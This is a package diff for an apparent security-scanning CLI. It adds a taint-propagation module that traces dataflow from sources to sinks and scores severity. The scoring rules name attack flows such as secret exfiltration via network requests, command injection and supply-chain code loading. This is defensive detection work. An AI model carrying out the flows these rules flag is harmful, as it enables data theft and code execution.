+ * 3. Repeat until no new tainted nodes (fixpoint)
+ *
+ * Complexity: O(N + E) where N = nodes, E = edges
+ *
+ * Phase 3.1: Dataflow Implementation
+ */
+import { DataFlowGraph, TaintSource, TaintSink, DataFlowPath } from './dataflow-types.js';
+/**
+ * Propagate taint through dataflow graph
+ */
+export declare function propagateTaint(graph: DataFlowGraph, sources: TaintSource[]): Set<string>;
+/**
+ * Find all taint paths from sources to sinks
+ */
+export declare function findTaintPaths(graph: DataFlowGraph, sources: TaintSource[], sinks: TaintSink[], taintedNodeIds: Set<string>): DataFlowPath[];
+/**
+ * Extract taint sources from dataflow graph
+ */
+export declare function extractTaintSources(graph: DataFlowGraph): TaintSource[];
+/**
+ * Extract taint sinks from dataflow graph
+ */
+export declare function extractTaintSinks(graph: DataFlowGraph): TaintSink[];
+//# sourceMappingURL=taint-propagation.d.ts.map

package/dist/analysis/taint-propagation.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"taint-propagation.d.ts","sourceRoot":"","sources":["../../src/analysis/taint-propagation.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG;AAEH,OAAO,EAAE,aAAa,EAAE,WAAW,EAAE,SAAS,EAAE,YAAY,EAAgB,MAAM,qBAAqB,CAAC;AAExG;;GAEG;AACH,wBAAgB,cAAc,CAC5B,KAAK,EAAE,aAAa,EACpB,OAAO,EAAE,WAAW,EAAE,GACrB,GAAG,CAAC,MAAM,CAAC,CA6Bb;AAED;;GAEG;AACH,wBAAgB,cAAc,CAC5B,KAAK,EAAE,aAAa,EACpB,OAAO,EAAE,WAAW,EAAE,EACtB,KAAK,EAAE,SAAS,EAAE,EAClB,cAAc,EAAE,GAAG,CAAC,MAAM,CAAC,GAC1B,YAAY,EAAE,CA4BhB;AA2HD;;GAEG;AACH,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,aAAa,GAAG,WAAW,EAAE,CAuBvE;AAED;;GAEG;AACH,wBAAgB,iBAAiB,CAAC,KAAK,EAAE,aAAa,GAAG,SAAS,EAAE,CAoBnE"}

package/dist/analysis/taint-propagation.js

@@ -0,0 +1,207 @@
+/**
+ * Taint Propagation using Worklist Algorithm
+ *
+ * Propagates taint from sources through the dataflow graph:
+ * 1. Initialize worklist with all source nodes
+ * 2. For each node in worklist, mark all successors as tainted
+ * 3. Repeat until no new tainted nodes (fixpoint)
+ *
+ * Complexity: O(N + E) where N = nodes, E = edges
+ *
+ * Phase 3.1: Dataflow Implementation
+ */
+/**
+ * Propagate taint through dataflow graph
+ */
+export function propagateTaint(graph, sources) {
+    const tainted = new Set(); // Set of tainted node IDs
+    const worklist = []; // Nodes to process
+    // Initialize: Add all source nodes to worklist
+    for (const source of sources) {
+        if (!tainted.has(source.nodeId)) {
+            tainted.add(source.nodeId);
+            worklist.push(source.nodeId);
+        }
+    }
+    // Propagate taint until no changes
+    while (worklist.length > 0) {
+        const nodeId = worklist.shift();
+        // Find all successors (outgoing edges from this node)
+        for (const edge of graph.edges.filter((e) => e.from === nodeId)) {
+            const successorId = edge.to;
+            // If successor is not already tainted, mark it and add to worklist
+            if (!tainted.has(successorId)) {
+                tainted.add(successorId);
+                worklist.push(successorId);
+            }
+        }
+    }
+    return tainted;
+}
+/**
+ * Find all taint paths from sources to sinks
+ */
+export function findTaintPaths(graph, sources, sinks, taintedNodeIds) {
+    const paths = [];
+    // For each sink, check if it's tainted and trace back to sources
+    for (const sink of sinks) {
+        if (!taintedNodeIds.has(sink.nodeId)) {
+            continue; // Sink is not reachable from any source
+        }
+        // Find which sources can reach this sink
+        for (const source of sources) {
+            const path = findPathBFS(graph, source.nodeId, sink.nodeId);
+            if (path) {
+                const confidence = calculateConfidence(path);
+                const severity = calculateSeverity(source, sink);
+                paths.push({
+                    source,
+                    sink,
+                    path,
+                    confidence,
+                    severity,
+                });
+            }
+        }
+    }
+    return paths;
+}
+/**
+ * Find path from source to sink using BFS
+ */
+function findPathBFS(graph, sourceNodeId, sinkNodeId) {
+    const visited = new Set();
+    const queue = [
+        { nodeId: sourceNodeId, path: [sourceNodeId] },
+    ];
+    while (queue.length > 0) {
+        const { nodeId, path } = queue.shift();
+        // Found the sink
+        if (nodeId === sinkNodeId) {
+            return path.map((id) => graph.nodes.find((n) => n.id === id));
+        }
+        if (visited.has(nodeId)) {
+            continue;
+        }
+        visited.add(nodeId);
+        // Add all successors to queue
+        for (const edge of graph.edges.filter((e) => e.from === nodeId)) {
+            if (!visited.has(edge.to)) {
+                queue.push({ nodeId: edge.to, path: [...path, edge.to] });
+            }
+        }
+    }
+    return null; // No path found
+}
+/**
+ * Calculate confidence level based on path complexity
+ */
+function calculateConfidence(path) {
+    // Direct flow (source → sink): high confidence
+    if (path.length <= 2) {
+        return 'high';
+    }
+    // Short path (2-5 steps): high confidence
+    if (path.length <= 5) {
+        return 'high';
+    }
+    // Medium path (5-10 steps): medium confidence
+    if (path.length <= 10) {
+        return 'medium';
+    }
+    // Long path (10+ steps): low confidence (likely false positive)
+    return 'low';
+}
+/**
+ * Calculate severity based on source and sink types
+ */
+function calculateSeverity(source, sink) {
+    // Environment variable → command execution: CRITICAL
+    if (source.type === 'env-var' && sink.type === 'command-execution') {
+        return 'CRITICAL';
+    }
+    // Environment variable → code evaluation: CRITICAL
+    if (source.type === 'env-var' && sink.type === 'code-evaluation') {
+        return 'CRITICAL';
+    }
+    // Environment variable → network request: CRITICAL (exfiltration)
+    if (source.type === 'env-var' && sink.type === 'network-request') {
+        return 'CRITICAL';
+    }
+    // User input → command execution: CRITICAL (command injection)
+    if (source.type === 'user-input' && sink.type === 'command-execution') {
+        return 'CRITICAL';
+    }
+    // User input → code evaluation: CRITICAL (code injection)
+    if (source.type === 'user-input' && sink.type === 'code-evaluation') {
+        return 'CRITICAL';
+    }
+    // User input → network request: HIGH (data exfiltration)
+    if (source.type === 'user-input' && sink.type === 'network-request') {
+        return 'HIGH';
+    }
+    // Network response → command execution: HIGH (supply chain attack)
+    if (source.type === 'network-response' && sink.type === 'command-execution') {
+        return 'HIGH';
+    }
+    // Network response → code evaluation: HIGH (supply chain attack)
+    if (source.type === 'network-response' && sink.type === 'code-evaluation') {
+        return 'HIGH';
+    }
+    // File write with tainted path: HIGH (path traversal)
+    if (sink.type === 'file-write') {
+        return 'HIGH';
+    }
+    // Dynamic import with tainted module: HIGH (malicious code loading)
+    if (sink.type === 'dynamic-import') {
+        return 'HIGH';
+    }
+    // Default: MEDIUM
+    return 'MEDIUM';
+}
+/**
+ * Extract taint sources from dataflow graph
+ */
+export function extractTaintSources(graph) {
+    const sources = [];
+    for (const nodeId of graph.sourceNodeIds) {
+        const node = graph.nodes.find((n) => n.id === nodeId);
+        if (!node)
+            continue;
+        const sourceType = node.metadata?.sourceType || 'env-var';
+        const envVarName = node.metadata?.envVarName || node.identifier || 'UNKNOWN';
+        sources.push({
+            nodeId: node.id,
+            type: sourceType,
+            identifier: node.identifier || 'unknown',
+            line: node.line,
+            column: node.column,
+            metadata: {
+                envVarName,
+            },
+        });
+    }
+    return sources;
+}
+/**
+ * Extract taint sinks from dataflow graph
+ */
+export function extractTaintSinks(graph) {
+    const sinks = [];
+    for (const nodeId of graph.sinkNodeIds) {
+        const node = graph.nodes.find((n) => n.id === nodeId);
+        if (!node)
+            continue;
+        const sinkType = node.metadata?.sinkType || 'unknown';
+        const functionName = node.metadata?.functionName || node.identifier || 'unknown';
+        sinks.push({
+            nodeId: node.id,
+            type: sinkType,
+            function: functionName,
+            line: node.line,
+            column: node.column,
+        });
+    }
+    return sinks;
+}
+//# sourceMappingURL=taint-propagation.js.map

package/dist/analysis/taint-propagation.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"taint-propagation.js","sourceRoot":"","sources":["../../src/analysis/taint-propagation.ts"],"names":[],"mappings":"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"}

package/dist/index.js

@@ -9,7 +9,7 @@ import { loadConfig, mergeConfig } from "./config.js";
 import { join, dirname } from "path";
 import { fileURLToPath } from "url";
 import { spawn } from "child_process";
-const VERSION = "0.7.0";
+const VERSION = "1.0.0";
 /**
  * Main CLI function
  */

package/dist/layers/code.d.ts

@@ -1,6 +1,6 @@
 /**
  * Layer 3: Code Analysis
- * Performs AST analysis on JavaScript/TypeScript handler files
+ * Performs AST analysis on JavaScript/TypeScript/Python handler files
  */
 import type { Skill, LayerResult } from '../types.js';
 /**

package/dist/layers/code.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"code.d.ts","sourceRoot":"","sources":["../../src/layers/code.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAGH,OAAO,KAAK,EAAE,KAAK,EAAW,WAAW,EAAY,MAAM,aAAa,CAAC;AAGzE;;GAEG;AACH,wBAAsB,QAAQ,CAAC,KAAK,EAAE,KAAK,GAAG,OAAO,CAAC,WAAW,CAAC,CA0CjE"}
+{"version":3,"file":"code.d.ts","sourceRoot":"","sources":["../../src/layers/code.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAGH,OAAO,KAAK,EAAE,KAAK,EAAW,WAAW,EAAY,MAAM,aAAa,CAAC;AAKzE;;GAEG;AACH,wBAAsB,QAAQ,CAAC,KAAK,EAAE,KAAK,GAAG,OAAO,CAAC,WAAW,CAAC,CAgDjE"}